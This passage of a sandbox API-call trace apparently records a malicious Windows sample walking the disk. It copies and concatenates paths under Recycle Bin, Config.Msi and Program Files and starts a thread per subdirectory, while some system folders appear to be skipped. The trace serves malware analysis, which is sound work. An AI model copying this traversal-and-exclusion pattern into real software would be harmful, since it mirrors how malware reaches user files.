(_String1="S-1-5-21-3388679973-3930757225-3770151564-1000", _String2="..") returned 1 [0085.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b783cb0 [0085.530] wcscpy (in: _Dest=0x1b783cb0, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0085.530] wcscat (in: _Dest=0x1b783cb0, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0085.530] wcscat (in: _Dest=0x1b783cb0, _Source="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0085.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b783cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0085.530] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0085.530] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2d0) returned 1 [0085.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 Thread: id = 89 os_tid = 0xac0 [0085.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a330 [0085.532] wcscpy (in: _Dest=0x1b82a330, _Source="C:\\Config.Msi" | out: _Dest="C:\\Config.Msi") returned="C:\\Config.Msi" [0085.532] wcscat (in: _Dest=0x1b82a330, _Source="\\" | out: _Dest="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0085.532] wcscat (in: _Dest=0x1b82a330, _Source="*" | out: _Dest="C:\\Config.Msi\\*") returned="C:\\Config.Msi\\*" [0085.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.532] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.532] wcscmp (_String1=".", _String2=".") returned 0 [0085.533] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.533] wcscmp (_String1="..", _String2=".") returned 1 [0085.533] wcscmp (_String1="..", _String2="..") returned 0 [0085.533] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.533] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a330) returned 1 [0085.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a360) returned 1 Thread: id = 90 os_tid = 0xafc [0085.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d7f00 [0085.534] wcscpy (in: _Dest=0x1b7d7f00, _Source="C:\\Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0085.534] wcscat (in: _Dest=0x1b7d7f00, _Source="\\" | out: _Dest="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0085.534] wcscat (in: _Dest=0x1b7d7f00, _Source="*" | out: _Dest="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0085.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.534] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0085.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f00) returned 1 [0085.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e80) returned 1 Thread: id = 91 os_tid = 0x664 [0085.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a3c0 [0085.538] wcscpy (in: _Dest=0x1b82a3c0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.538] wcscat (in: _Dest=0x1b82a3c0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.538] wcscat (in: _Dest=0x1b82a3c0, _Source="*" | out: _Dest="C:\\Program Files\\*") returned="C:\\Program Files\\*" [0085.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe4d4bf60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4d4bf60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.538] wcscmp (_String1=".", _String2=".") returned 0 [0085.538] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe4d4bf60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4d4bf60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.538] wcscmp (_String1="..", _String2=".") returned 1 [0085.538] wcscmp (_String1="..", _String2="..") returned 0 [0085.538] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddb09f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb09f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0085.538] wcscmp (_String1="Common Files", _String2=".") returned 1 [0085.538] wcscmp (_String1="Common Files", _String2="..") returned 1 [0085.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x17a750 [0085.538] wcscpy (in: _Dest=0x17a750, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.538] wcscat (in: _Dest=0x17a750, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.538] wcscat (in: _Dest=0x17a750, _Source="Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0085.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x17a750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0085.539] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.539] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0085.539] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0085.539] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddba24e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddba24e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0085.539] wcscmp (_String1="DVD Maker", _String2=".") returned 1 [0085.539] wcscmp (_String1="DVD Maker", _String2="..") returned 1 [0085.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7e80 [0085.539] wcscpy (in: _Dest=0x1b7d7e80, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.539] wcscat (in: _Dest=0x1b7d7e80, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.539] wcscat (in: _Dest=0x1b7d7e80, _Source="DVD Maker" | out: _Dest="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0085.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e80) returned 1 [0085.539] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0085.539] wcscmp (_String1="Internet Explorer", _String2=".") returned 1 [0085.539] wcscmp (_String1="Internet Explorer", _String2="..") returned 1 [0085.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82bc20 [0085.539] wcscpy (in: _Dest=0x1b82bc20, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.540] wcscat (in: _Dest=0x1b82bc20, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.540] wcscat (in: _Dest=0x1b82bc20, _Source="Internet Explorer" | out: _Dest="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer" [0085.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0085.540] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0085.540] wcscmp (_String1="Microsoft Analysis Services", _String2=".") returned 1 [0085.540] wcscmp (_String1="Microsoft Analysis Services", _String2="..") returned 1 [0085.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1aa0 [0085.540] wcscpy (in: _Dest=0x1b7c1aa0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.540] wcscat (in: _Dest=0x1b7c1aa0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.540] wcscat (in: _Dest=0x1b7c1aa0, _Source="Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0085.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0085.540] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddb300c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb300c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0085.540] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0085.540] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0085.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82bc20 [0085.540] wcscpy (in: _Dest=0x1b82bc20, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.541] wcscat (in: _Dest=0x1b82bc20, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.541] wcscat (in: _Dest=0x1b82bc20, _Source="Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0085.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bc20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0085.541] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xddb56220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb56220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0085.541] wcscmp (_String1="Microsoft SQL Server Compact Edition", _String2=".") returned 1 [0085.541] wcscmp (_String1="Microsoft SQL Server Compact Edition", _String2="..") returned 1 [0085.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79d6f0 [0085.541] wcscpy (in: _Dest=0x1b79d6f0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.541] wcscat (in: _Dest=0x1b79d6f0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.541] wcscat (in: _Dest=0x1b79d6f0, _Source="Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0085.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0085.542] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0085.542] wcscmp (_String1="Microsoft Sync Framework", _String2=".") returned 1 [0085.542] wcscmp (_String1="Microsoft Sync Framework", _String2="..") returned 1 [0085.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b7ce8e0 [0085.542] wcscpy (in: _Dest=0x1b7ce8e0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.542] wcscat (in: _Dest=0x1b7ce8e0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.542] wcscat (in: _Dest=0x1b7ce8e0, _Source="Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0085.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0085.543] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdea10a40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdea10a40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0085.543] wcscmp (_String1="Microsoft Synchronization Services", _String2=".") returned 1 [0085.543] wcscmp (_String1="Microsoft Synchronization Services", _String2="..") returned 1 [0085.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c19c0 [0085.543] wcscpy (in: _Dest=0x1b7c19c0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.543] wcscat (in: _Dest=0x1b7c19c0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.543] wcscat (in: _Dest=0x1b7c19c0, _Source="Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0085.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c19c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0085.544] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0085.544] wcscmp (_String1="MSBuild", _String2=".") returned 1 [0085.544] wcscmp (_String1="MSBuild", _String2="..") returned 1 [0085.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7e80 [0085.544] wcscpy (in: _Dest=0x1b7d7e80, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.544] wcscat (in: _Dest=0x1b7d7e80, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.544] wcscat (in: _Dest=0x1b7d7e80, _Source="MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0085.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0085.545] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc257b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc257b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0085.545] wcscmp (_String1="Reference Assemblies", _String2=".") returned 1 [0085.545] wcscmp (_String1="Reference Assemblies", _String2="..") returned 1 [0085.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b7ce7c0 [0085.545] wcscpy (in: _Dest=0x1b7ce7c0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.545] wcscat (in: _Dest=0x1b7ce7c0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.545] wcscat (in: _Dest=0x1b7ce7c0, _Source="Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0085.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0085.546] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0085.546] wcscmp (_String1="Uninstall Information", _String2=".") returned 1 [0085.546] wcscmp (_String1="Uninstall Information", _String2="..") returned 1 [0085.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7ce9a0 [0085.546] wcscpy (in: _Dest=0x1b7ce9a0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.546] wcscat (in: _Dest=0x1b7ce9a0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.546] wcscat (in: _Dest=0x1b7ce9a0, _Source="Uninstall Information" | out: _Dest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0085.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0085.547] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddb300c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb300c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0085.547] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0085.547] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0085.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82bc70 [0085.547] wcscpy (in: _Dest=0x1b82bc70, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.547] wcscat (in: _Dest=0x1b82bc70, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.547] wcscat (in: _Dest=0x1b82bc70, _Source="Windows Defender" | out: _Dest="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender" [0085.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0085.547] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0085.547] wcscmp (_String1="Windows Journal", _String2=".") returned 1 [0085.547] wcscmp (_String1="Windows Journal", _String2="..") returned 1 [0085.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bc70 